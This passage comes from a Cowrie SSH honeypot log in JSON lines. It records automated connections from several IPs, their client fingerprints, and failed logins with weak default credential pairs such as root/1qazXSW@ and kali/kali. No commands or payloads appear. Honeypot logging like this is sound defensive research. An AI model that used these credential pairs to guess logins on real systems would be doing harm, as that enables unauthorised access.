0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:06.767337Z","src_ip":"45.153.34.114","session":"1b9916c101b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:07.020995Z","src_ip":"45.153.34.114","session":"1b9916c101b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:08.108603Z","src_ip":"45.153.34.114","session":"1b9916c101b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33640,"dst_ip":"159.203.135.109","dst_port":22,"session":"298ea2ac0746","protocol":"ssh","message":"New connection: 45.153.34.114:33640 (159.203.135.109:22) [session: 298ea2ac0746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:14.949630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:14.955048Z","src_ip":"45.153.34.114","session":"298ea2ac0746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:15.041485Z","src_ip":"45.153.34.114","session":"298ea2ac0746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49872,"dst_ip":"159.203.135.109","dst_port":22,"session":"83af0282883a","protocol":"ssh","message":"New connection: 103.75.199.4:49872 (159.203.135.109:22) [session: 83af0282883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:15.117559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:15.123082Z","src_ip":"103.75.199.4","session":"83af0282883a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:15.215003Z","src_ip":"103.75.199.4","session":"83af0282883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:15.443136Z","src_ip":"45.153.34.114","session":"298ea2ac0746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:15.490757Z","src_ip":"103.75.199.4","session":"83af0282883a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:16.532682Z","src_ip":"45.153.34.114","session":"298ea2ac0746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:16.585126Z","src_ip":"103.75.199.4","session":"83af0282883a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53510,"dst_ip":"159.203.135.109","dst_port":22,"session":"203ac5e04557","protocol":"ssh","message":"New connection: 45.153.34.114:53510 (159.203.135.109:22) [session: 203ac5e04557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:22.906802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:22.911895Z","src_ip":"45.153.34.114","session":"203ac5e04557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:22.994976Z","src_ip":"45.153.34.114","session":"203ac5e04557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:23.255098Z","src_ip":"45.153.34.114","session":"203ac5e04557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:24.349515Z","src_ip":"45.153.34.114","session":"203ac5e04557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41798,"dst_ip":"159.203.135.109","dst_port":22,"session":"108535e30abf","protocol":"ssh","message":"New connection: 45.153.34.114:41798 (159.203.135.109:22) [session: 108535e30abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:30.945054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:30.958261Z","src_ip":"45.153.34.114","session":"108535e30abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:31.033140Z","src_ip":"45.153.34.114","session":"108535e30abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:31.370118Z","src_ip":"45.153.34.114","session":"108535e30abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:32.573662Z","src_ip":"45.153.34.114","session":"108535e30abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52114,"dst_ip":"159.203.135.109","dst_port":22,"session":"6470c64142dd","protocol":"ssh","message":"New connection: 103.75.199.4:52114 (159.203.135.109:22) [session: 6470c64142dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:37.012764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:37.016822Z","src_ip":"103.75.199.4","session":"6470c64142dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:37.107941Z","src_ip":"103.75.199.4","session":"6470c64142dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:37.380834Z","src_ip":"103.75.199.4","session":"6470c64142dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:38.474657Z","src_ip":"103.75.199.4","session":"6470c64142dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41820,"dst_ip":"159.203.135.109","dst_port":22,"session":"980c92d61836","protocol":"ssh","message":"New connection: 45.153.34.114:41820 (159.203.135.109:22) [session: 980c92d61836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:39.038662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:39.044498Z","src_ip":"45.153.34.114","session":"980c92d61836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:39.132683Z","src_ip":"45.153.34.114","session":"980c92d61836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:39.391877Z","src_ip":"45.153.34.114","session":"980c92d61836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:40.478400Z","src_ip":"45.153.34.114","session":"980c92d61836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":49692,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e2cf0982004","protocol":"ssh","message":"New connection: 20.203.42.204:49692 (159.203.135.109:22) [session: 4e2cf0982004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:46.764352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:46.768931Z","src_ip":"20.203.42.204","session":"4e2cf0982004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:46.949349Z","src_ip":"20.203.42.204","session":"4e2cf0982004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36596,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a408ccf672c","protocol":"ssh","message":"New connection: 45.153.34.114:36596 (159.203.135.109:22) [session: 1a408ccf672c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:47.140426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:47.145133Z","src_ip":"45.153.34.114","session":"1a408ccf672c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:47.227739Z","src_ip":"45.153.34.114","session":"1a408ccf672c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:47.482434Z","src_ip":"45.153.34.114","session":"1a408ccf672c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:47.704583Z","src_ip":"20.203.42.204","session":"4e2cf0982004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:48.575303Z","src_ip":"45.153.34.114","session":"1a408ccf672c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:48.886955Z","src_ip":"20.203.42.204","session":"4e2cf0982004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40664,"dst_ip":"159.203.135.109","dst_port":22,"session":"e145f4374080","protocol":"ssh","message":"New connection: 45.153.34.114:40664 (159.203.135.109:22) [session: e145f4374080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:55.103850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:55.109457Z","src_ip":"45.153.34.114","session":"e145f4374080","protocol":"ssh"}
